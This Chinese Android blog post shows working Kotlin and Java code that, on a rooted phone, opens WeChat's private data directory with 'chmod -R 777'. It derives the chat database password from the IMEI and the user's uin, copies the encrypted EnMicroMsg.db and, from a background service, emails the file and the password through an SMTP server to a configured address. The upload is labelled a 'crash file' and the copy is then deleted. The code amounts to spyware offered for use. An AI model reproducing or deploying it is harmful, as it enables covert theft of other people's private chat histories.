Android(安卓)获取手机中微信聊天记录并后台发送到邮箱
16lz
2021-01-26
实验软件 :Android Studio
实验设备:Root过的真机一部或者夜神模拟器
测试效果
废话不多说 直接上代码
获取手机微信数据库目录并发送邮件
class CoreService : IntentService("CoreService") { private val WX_ROOT_PATH = "/data/data/com.tencent.mm/" // 微信根目录 private val WX_SP_UIN_PATH = "${WX_ROOT_PATH}shared_prefs/auth_info_key_prefs.xml" // 微信保存uin的目录 private val WX_DB_DIR_PATH = "${WX_ROOT_PATH}MicroMsg/" // 微信保存聊天记录数据库的目录 private val WX_DB_FILE_NAME = "EnMicroMsg.db" // 微信聊天记录数据库 private val WX_FILE_PATH = "/storage/emulated/0/Tencent/micromsg/" // 微信保存聊天时语音、图片、视频文件的地址 // private val currApkPath = "/data/data/com.dfsc.wechatrecord/" private val currApkPath = "/storage/emulated/0/" private val COPY_WX_DATA_DB = "wx_data.db" private var uin = "" private var dbPwd = "" // 数据库密码 private lateinit var userInfo: UserInfo // 用户 private var uinEnc = "" // 加密后的uin @SuppressLint("MissingPermission") override fun onHandleIntent(intent: Intent?) { // 获取数据库密码 数据库密码是IMEI和uin合并后计算MD5值取前7位 // 获取imei val manager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager val imei = manager.deviceId // 修改微信根目录读写权限 try { ShellCommand.shellCommand("chmod -R 777 $WX_ROOT_PATH") // 获取uin val doc = Jsoup.parse(File(WX_SP_UIN_PATH), "UTF-8") val elements = doc.select("int") elements .filter { it.attr("name") == "_auth_uin" } .forEach { uin = it.attr("value") } if (uin.isEmpty()) { toast("当前没有登录微信,请登录后重试") return } // 获取数据库密码 log("imei密码:$imei") log("uin密码:$uin") dbPwd = MD5.getMD5Str(imei + uin).substring(0, 7) log("数据库密码:$dbPwd") FileUtils.writeLog(this, "数据库密码:$dbPwd\n") } catch (e: Exception) { log("破解数据库失败:${e.message}") FileUtils.writeLog(this, "破解数据库失败:${e.message}\n") toast("破解数据库失败:${e.message}") } // 获取当前微信登录用户的数据库文件父级文件夹名(MD5("mm"+uin) ) uinEnc = MD5.getMD5Str("mm$uin") log("当前微信用户数据库文件父级文件名:$uinEnc") // 递归查询微信本地数据库文件 val dbDir = File(WX_DB_DIR_PATH + uinEnc) log("微信数据库文件目录:$dbDir") val list = FileUtils.searchFile(dbDir, WX_DB_FILE_NAME) for (file in list) { val copyFilePath = currApkPath + COPY_WX_DATA_DB log("微信数据库文件路径:${file.absolutePath}") try { // 将微信数据库拷贝出来,因为直接连接微信的db,会导致微信崩溃 FileUtils.copyFile(file.absolutePath, copyFilePath) // 打开微信数据库// openWXDB(File(copyFilePath), dbPwd) sendCrashFile(copyFilePath,dbPwd) } catch (e: Exception) { log("复制数据库失败:${e.message}") FileUtils.writeLog(this, "复制数据库失败:${e.message}\n") toast("复制数据库失败:${e.message}") } } } private fun sendCrashFile(fileName: String,content: String) { if (!Util.fileIsExists(fileName)) return Thread(Runnable { val isSuccess = Util.sendEmail(fileName,content) Looper.prepare() if (isSuccess) { Util.delFile(fileName) Toast.makeText(applicationContext, "crash文件发送成功!", Toast.LENGTH_LONG).show() } else { Toast.makeText(applicationContext, "crash文件发送失败!", Toast.LENGTH_LONG).show() } Looper.loop() }).start() }
}
邮件发送配置为你的邮箱发件人和收件人
public class Util { /** * 发送邮件的方法 * @return */ public static boolean sendEmail(String fileName,String content){ MailSenderInfo mailInfo = new MailSenderInfo(); mailInfo.setMailServerHost("smtp.qq.com"); //其他邮箱修改这个地址 mailInfo.setMailServerPort("25"); mailInfo.setValidate(true); mailInfo.setUserName("[email protected]"); //你的邮箱地址 mailInfo.setPassword("xxxxx");// 您的邮箱密码 mailInfo.setFromAddress("[email protected]"); //发送邮箱 mailInfo.setToAddress("[email protected]"); //收件人邮箱 mailInfo.setSubject("微信数据库密码"+content); mailInfo.setContent("微信数据库密码"); // 这个类主要来发送邮件 return sendTextMail(mailInfo,fileName); } /** * 以文本格式发送邮件(带附件) * @param mailInfo 待发送的邮件的信息 */ private static boolean sendTextMail(MailSenderInfo mailInfo,String fileName) { // 判断是否需要身份认证 MyAuthenticator authenticator = null; Properties pro = mailInfo.getProperties(); if (mailInfo.isValidate()) { // 如果需要身份认证,则创建一个密码验证器 authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); } // 根据邮件会话属性和密码验证器构造一个发送邮件的session Session sendMailSession = Session.getDefaultInstance(pro,authenticator); try { // 根据session创建一个邮件消息 Message mailMessage = new MimeMessage(sendMailSession); // 创建邮件发送者地址 Address from = new InternetAddress(mailInfo.getFromAddress()); // 设置邮件消息的发送者 mailMessage.setFrom(from); // 创建邮件的接收者地址,并设置到邮件消息中 Address to = new InternetAddress(mailInfo.getToAddress()); mailMessage.setRecipient(Message.RecipientType.TO,to); // 设置邮件消息的主题 mailMessage.setSubject(mailInfo.getSubject()); // 设置邮件消息发送的时间 mailMessage.setSentDate(new Date()); // 设置邮件消息的主要内容 String mailContent = mailInfo.getContent(); mailMessage.setText(mailContent); /** * 以下内容是:发送邮件时添加附件 */ if (fileName != null) { FileDataSource fileDataSource = new FileDataSource(fileName); //打开要发送的文件 MimeBodyPart attachPart = new MimeBodyPart(); attachPart.setDataHandler(new DataHandler(fileDataSource)); attachPart.setFileName(fileDataSource.getName()); MimeMultipart allMultipart = new MimeMultipart("mixed"); //附件 allMultipart.addBodyPart(attachPart);//添加 mailMessage.setContent(allMultipart); //发邮件时添加附件 } // 发送邮件 Transport.send(mailMessage); return true; } catch (MessagingException ex) { ex.printStackTrace(); } return false; } /** * 判读文件是否存在 * @return */ public static boolean fileIsExists(String fileName){ try{ File file = new File(fileName); if(!file.exists()) return false; else return true; }catch (Exception e) { e.printStackTrace(); return false; } } public static void delFile(String fileName) { try{ File file = new File(fileName); if(!file.exists()) return; file.delete(); }catch (Exception e) { e.printStackTrace(); } }}至此就可以通过页面点击发送邮件了
更多相关文章
- Android中的Sqlite数据库操作总结
- 由sqlite在手机上的存储位置,引发的onCreate在哪里执行的总结
- Android如何通过content provider构建媒体文件数据库
- [Android]simplelistadapter 与数据库绑定显示list 并且根据数据
- Android+Apache+Servlet+MySQL简易粗糙Mini登录器实现
- android httpclient 管理cookie
- Android存储数据的方式
- Android(安卓)dex加密与解密 application替换
- 【Android(安卓)开发教程】创建数据库辅助类